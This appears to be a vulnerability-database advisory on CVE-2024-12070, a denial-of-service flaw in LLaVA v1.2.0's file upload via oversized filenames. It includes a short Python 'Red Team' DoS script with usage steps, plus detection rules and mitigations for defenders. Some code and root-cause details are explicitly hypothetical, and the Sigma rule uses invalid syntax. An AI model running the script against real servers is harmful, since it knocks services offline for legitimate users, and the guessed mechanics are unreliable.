CVE-2024-12070
Executive Summary
CVE-2024-12070 is a high-severity Denial of Service (DoS) vulnerability affecting the file upload feature of haotian-liu/llava, specifically in Release v1.2.0 (LLaVA-1.6). The vulnerability arises from improper handling of form-data with an excessively large filename in the file upload request. An unauthenticated attacker can send a payload with a large filename, overwhelming the server and causing it to become unresponsive, leading to service unavailability for legitimate users. The vulnerability is highly scalable and can be exploited without authentication, increasing the risk of exploitation. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch makes it a significant risk for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the haotian-liu/llava project, which is a Python-based open-source large language and vision assistant. The project is distributed via GitHub and can be installed from source. There is no official package on PyPI, but users may install it directly from the repository. The vulnerability is in the file upload endpoint, which is part of the web server component. The lack of a patch means that all deployments of v1.2.0 are vulnerable. Users should monitor the repository for updates and consider implementing mitigations.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
- Privileges Required: None (PR:N) – No authentication is needed.
- User Interaction: None (UI:N) – The attacker does not need to interact with any user.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data is exposed.
- Integrity Impact: None (I:N) – No data is modified.
- Availability Impact: High (A:H) – The service becomes unavailable due to resource exhaustion.
Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can cause a complete denial of service. The lack of a patch increases the risk for unmitigated deployments.
Deep Dive & Mechanics
The vulnerability is a classic Denial of Service (DoS) caused by improper input validation. The file upload feature in LLaVA v1.2.0 processes multipart/form-data requests. When a file is uploaded, the server parses the filename from the Content-Disposition header. If the filename is excessively large (e.g., thousands of characters), the server may attempt to allocate memory or perform string operations that consume excessive CPU or memory resources, leading to a crash or unresponsiveness.
The root cause is the lack of a limit on the filename length. The server likely uses a library or custom code that does not enforce a maximum size for the filename field. When a large filename is provided, the server may:
- Allocate a large buffer to store the filename.
- Perform repeated string operations (e.g., concatenation, validation) that become O(n^2) or worse.
- Trigger a stack overflow or heap exhaustion.
The attack is highly scalable because it can be launched from a single machine with minimal resources. An attacker can send multiple requests with large filenames to amplify the effect.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like this:
# Vulnerable code (hypothetical)
from flask import request
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
filename = file.filename # No length check
# Process the file...
return 'OK'
A patched version would include a length check:
# Patched code (hypothetical)
from flask import request, abort
MAX_FILENAME_LENGTH = 255
@app.route('/upload', methods=['POST'])
def upload_file():
file = request.files['file']
filename = file.filename
if len(filename) > MAX_FILENAME_LENGTH:
abort(400, 'Filename too long')
# Process the file...
return 'OK'
The patch should also include input sanitization and resource limits.
Exploitation & Lab Setup
Red Team
Exploit Code (Python):
import requests
target_url = "http://target.com/upload"
large_filename = "A" * 100000 # 100k characters
files = {'file': (large_filename, 'test content', 'text/plain')}
try:
response = requests.post(target_url, files=files, timeout=10)
print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
print("Server timed out - likely DoS successful")
except Exception as e:
print(f"Error: {e}")
Usage:
- Identify a target running LLaVA v1.2.0 with the file upload endpoint exposed.
- Run the exploit script. The server may become unresponsive after a single request or multiple requests.
- Monitor the target's availability. If the server crashes, it may need to be restarted manually.
Lab Setup:
- Deploy LLaVA v1.2.0 in a Docker container.
- Expose the file upload endpoint on a local port.
- Run the exploit from a separate machine or container.
Blue Team
Detection:
- Monitor for HTTP requests with abnormally large Content-Disposition headers.
- Set up alerts for high CPU or memory usage on the server.
- Use WAF rules to block requests with filenames exceeding a certain length (e.g., 1024 characters).
Mitigation:
- Implement input validation on the server side.
- Use a reverse proxy (e.g., Nginx) to limit request size and header size.
- Apply rate limiting to the upload endpoint.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/uploadwith aContent-Dispositionheader containing a filename longer than 1024 characters. - Repeated requests from the same IP address to the upload endpoint.
- HTTP POST requests to
- System IOCs:
- High CPU usage (near 100%) on the server.
- Memory exhaustion leading to OOM killer activity.
- Server logs showing
OutOfMemoryErrororTimeouterrors.
- File IOCs:
- Temporary files with extremely long names in the upload directory (if any).
Detection Engineering
YARA Rule
rule CVE_2024_12070_DoS_Large_Filename {
meta:
description = "Detects HTTP requests with excessively large filenames targeting LLaVA file upload"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-12070"
strings:
$filename = /filename="[^"]{1024,}"/ nocase
condition:
$filename
}
Sigma Rule
title: CVE-2024-12070 - LLaVA DoS via Large Filename
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with abnormally large filenames in file uploads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/upload'
cs(User-Agent): '*'
condition: selection and len(cs(filename)) > 1024
falsepositives:
- Legitimate uploads with very long filenames (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-12070 - LLaVA DoS via Large Filename"; flow:to_server; http.method; content:"POST"; http.uri; content:"/upload"; http.header; content:"Content-Disposition"; pcre:"/filename=\"[^\"]{1024,}\"/i"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the file upload feature if not required.
- Implement a reverse proxy (e.g., Nginx) to limit request body size and header size. Example Nginx configuration:
client_max_body_size 10M; large_client_header_buffers 4 8k; - Apply rate limiting to the upload endpoint to prevent abuse.
Long-term Fix:
- Patch the code by adding input validation for filename length (e.g., max 255 characters).
- Update to a patched version once available.
- Monitor the GitHub repository for security updates.
Workarounds:
- Use a Web Application Firewall (WAF) to block requests with filenames exceeding a threshold.
- Restrict access to the upload endpoint via IP whitelisting or VPN.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.